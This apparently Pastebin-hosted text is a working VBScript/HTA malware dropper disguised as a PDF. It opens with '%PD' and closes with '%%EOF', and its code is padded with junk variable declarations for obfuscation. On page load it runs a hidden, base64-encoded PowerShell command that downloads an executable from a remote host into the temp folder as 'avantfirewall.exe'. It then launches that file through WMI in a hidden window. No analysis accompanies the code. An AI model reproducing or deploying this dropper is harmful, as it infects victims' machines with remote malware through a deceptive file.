Advertisement
Guest User

Untitled

a guest
Jun 17th, 2019
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.61 KB | None | 0 0
  1. %PD<script LAnGUaGE="VBScrIPt">
  2.  
  3. Function PinkPandasOfChina()
  4. Dim Sheelll
  5. Dim binlanderDDe121
  6. Dim binlanderDDe1211
  7. Dim binlanderDDe1212
  8. Dim binlanderDDe1213
  9. Dim binlanderDDe1214
  10. Dim binlanderDDe1215
  11. Dim binlanderDDe1216
  12. Dim binlanderDDe1217
  13. Dim binlanderDDe1218
  14. Dim binlanderDDe1219
  15. Dim binlanderDDe12199
  16. Set binlanderDDe121 = CreateObject("Wscript.Shell")
  17. Dim binlanderDDe121999
  18. Dim binlanderDDe1211999
  19. Dim binlanderDDe1212999
  20. Dim binlanderDDe1213999
  21. Dim binlanderDDe1214999
  22. Dim binlanderDDe1215999
  23. Dim binlanderDDe1216999
  24. Dim binlanderDDe1217999
  25. Dim binlanderDDe1218999
  26. Dim binlanderDDe12199999999
  27. Dim binlanderDDe121999999
  28. temp = binlanderDDe121.expandEnvironmentStrings("%TmP%")
  29. Dim binlanderDDe1219888
  30. Dim binlanderDDe121108888
  31. Dim binlanderDDe121118888
  32. Dim binlanderDDe121128888
  33. Dim binlanderDDe121138888
  34. Dim binlanderDDe121148888
  35. Dim binlanderDDe121108888888
  36. Dim binlanderDDe121118888888
  37. Dim binlanderDDe1211288888888
  38. Dim binlanderDDe12113888888888
  39. Dim binlanderDDe121148888888888
  40. binlanderDDe121.run "powershell -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwBhAGUAZwAuAHQAbQBjAC4AbQB5AGIAbAB1AGUAaABvAHMAdAAuAG0AZQAvAHgAeAAvAG8AZgBmAGwAaQBuAGUALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAGEAdgBhAG4AdABmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAiACkAKQA7AA==", 0, true
  41. Dim binlanderDDe1219666666666666666
  42. Dim binlanderDDe121105555
  43. Dim binlanderDDe121115555
  44. Dim binlanderDDe121125555
  45. Dim binlanderDDe121135555
  46. Dim binlanderDDe121145555
  47. Dim binlanderDDe1211055558
  48. Dim binlanderDDe1211155588888
  49. Dim binlanderDDe12112555558888
  50. Dim binlanderDDe12113555588888
  51. Dim binlanderDDe1211455558888
  52. Dim binlanderDDe12110555599999
  53. Dim binlanderDDe1211155559999
  54. Dim binlanderDDe12112555559999
  55. Dim binlanderDDe1211355559999
  56. Dim binlanderDDe1211433333
  57. End Function
  58. Sub window_onload
  59. const impersonation = 3
  60. Const HIDDEN_WINDOW = 12
  61. Set Locator = CreateObject("WbemScripting.SWbemLocator")
  62. Set Service = Locator.ConnectServer()
  63. Service.Security_.ImpersonationLevel=impersonation
  64. Set objStartup = Service.Get("Win32_ProcessStartup")
  65. Set objConfig = objStartup.SpawnInstance_
  66. objConfig.ShowWindow = HIDDEN_WINDOW
  67. Set Process = Service.Get("Win32_Process")
  68. Error = Process.Create("CMd /c %TmP%\avantfirewall.exe", null, objConfig, intProcessID)
  69. window.close()
  70. end sub
  71.  
  72.  
  73. PinkPandasOfChina
  74. self.close
  75. </script>
  76. %%EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement